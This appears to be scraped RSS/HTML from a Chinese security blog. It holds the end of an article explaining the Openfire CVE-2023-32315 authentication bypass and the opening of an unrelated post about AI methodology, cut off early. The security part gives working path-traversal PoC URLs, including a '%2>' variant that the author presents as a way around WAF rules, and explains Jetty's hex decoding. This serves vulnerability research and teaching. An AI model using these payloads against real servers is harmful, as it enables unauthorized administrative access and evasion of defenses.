-apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"><span leaf="">image-20260429181104521</span></figcaption></figure><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 16.8px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0px 0.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);"><span leaf="">Openfire CVE-2023-32315 — 认证绕过</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">转为Byte丢失高位的方案大家都知道，还有一些更邪门的其他漏洞，其实本质上也是类似的问题。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">一个很有趣的例子就是</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">Openfire CVE-2023-32315</span></strong><span leaf="">，这个漏洞本质上是一个基础的路径穿越漏洞</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• CVE-2008-6508，最早的漏洞只需要..就可以实现路径穿越</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• CVE-2023-32315，发现可以用%u002e，也就是UTF-16来替代%2e实现路径穿越，因为AuthCheckFilter并没有校验对应的输入，但Jetty支持%u解码，导致了漏洞的绕过</span></p></li></ul><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">poc就是这样的</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">/setup/setup-a/%u002e%u002e/%u002e%u002e/log.</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><span leaf="">jsp</span></span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">很多WAF都加入了%u002e%u002e作为关键字之一，那么你可以使用这个poc来绕过</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">/setup/setup-a/%</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">2</span></span><span leaf="">&gt;%</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">2</span></span><span leaf="">&gt;</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">/%2&gt;%2&gt;/</span></span><span leaf="">log.</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><span leaf="">jsp</span></span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">这里有个比较邪门的点在于，对于大部分框架来说，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">他们不会把</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">%2&gt;</span></code><span leaf="">当做url编码去处理，因为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">&gt;</span></code><span leaf="">并不是合法的url编码</span></strong><span leaf="">。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">但是对于Jetty来说，他会一视同仁，把</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">&gt;</span></code><span leaf="">传入到</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">convertHexDigit</span></code><span leaf="">做处理</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">public </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 123, 114);"><span leaf="">static</span></span><span leaf=""> byte </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(210, 168, 255);"><span leaf="">convertHexDigit</span></span><span leaf="">(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><span leaf="">byte c</span></span><span leaf="">) {</span><br style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"/><span leaf="">    byte b = (byte)((c &amp; </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">0x1f</span></span><span leaf="">) + ((c &gt;&gt; </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">6</span></span><span leaf="">) * </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">0x19</span></span><span leaf="">) - </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">0x10</span></span><span leaf="">);</span><br style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"/><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 123, 114);"><span leaf="">if</span></span><span leaf=""> (b &lt; </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">0</span></span><span leaf=""> || b &gt; </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">15</span></span><span leaf="">)</span><br style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"/><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 123, 114);"><span leaf="">throw</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 123, 114);"><span leaf="">new</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(210, 168, 255);"><span leaf="">NumberFormatException</span></span><span leaf="">(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;!hex &#34;</span></span><span leaf=""> + c);</span><br style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"/><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 123, 114);"><span leaf="">return</span></span><span leaf=""> b;</span><br style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"/><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">也就是说即便是符号</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">&gt;</span></code><span leaf="">依旧会经过这一套算法，最终获得结果是14，对应</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">E</span></code></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">那么这样一来，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">waf收到的请求是</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">%2&gt;</span></code><span leaf="">不合法的url编码不做处理，jetty把他处理转为了</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">%2E</span></code><span leaf="">成功输入</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">.</span></code><span leaf="">绕过waf</span></strong><span leaf="">。</span></p><h1 style="box-sizing: border-box;border-width: 0px 0px 2px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);font-size: 16.8px;font-weight: bold;margin: 2em auto 1em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0px 1em;color: rgb(63, 63, 63);"><span leaf="">写在最后</span></h1><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">其实类似的场景同样非常多，因为许多大型框架中，除了显式的Java类型转化，还会有隐式的框架中的处理导致同样的问题，在原议题中分享了不同框架下涉及到不同漏洞的很多种问题，他们无一都是开发者无意中触发了Ghost bits问题，设计者并没有提前考虑好类型强制转化的额外影响。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">正如演讲结尾所说：</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">&#34;We have only scratched the surface&#34;</span></strong><span leaf=""> — 这才刚刚开始。</span></p></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5669fb4c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzMyNjU0MQ%3D%3D%26mid%3D2247484328%26idx%3D1%26sn%3Dc5e9397cfd395a2e969ca70ebe70465b">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 29 Apr 2026 18:21:00 +0800</pubDate>
    </item>
    <item>
      <title>AI.Re.(3) - AI到底变了什么？为什么突然井喷？</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzMyNjU0MQ==&amp;mid=2247484315&amp;idx=1&amp;sn=afde40aa99762c41fd45edc3cdfdb1e2</link>
      <description>从通用大模型诞生到后续的几年里，除了大模型本身的能力一直在提升，使用大模型的方法论也在不停的变化。为什么这些方法论使得AI突然变得强力可靠？为什么在2025年年底I应用大量井喷？</description>
      <content:encoded><![CDATA[<p>原创 <span>LoRexxar</span> <span>2026-04-07 18:24</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=095a9ffc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FgIBYXIMwxtvkBuFCjyibqkDViaWXEMJJVVibsQrpLVbwU1ic5XkYpicOrRPS6AhH4v1ShV8H7ic3iaMsUJmDBjBMck7FSaKibBkUcAkb3quYhcjzXn0%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>从通用大模型诞生到后续的几年里，除了大模型本身的能力一直在提升，使用大模型的方法论也在不停的变化。为什么这些方法论使得AI突然变得强力可靠？为什么在2025年年底I应用大量井喷？</p>
  <div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px 8px 1.5em;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">继续接着之前的内容来写，从通用大模型诞生到后续的几年里，除了大模型本身的能力一直在提升，使用大模型的方法论也在不停的变化。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">这篇文章讲到的这些概念不是第一天诞生，我相信很多朋友也实打实的在使用这些方法论，那这篇文章让我们重新回顾一下这些概念，也伴随的感受一些，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">为什么这些方法论使得AI突然变得强力可靠？为什么在2025年年底I应用大量井喷？</span></strong></p><h1 style="box-sizing: border-box;border-width: 0px 0px 2px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);font-size: 16.8px;font-weight: bold;margin: 2em auto 1em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0px 1em;color: rgb(63, 63, 63);"><span leaf="">什么是Skill？</span></h1><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 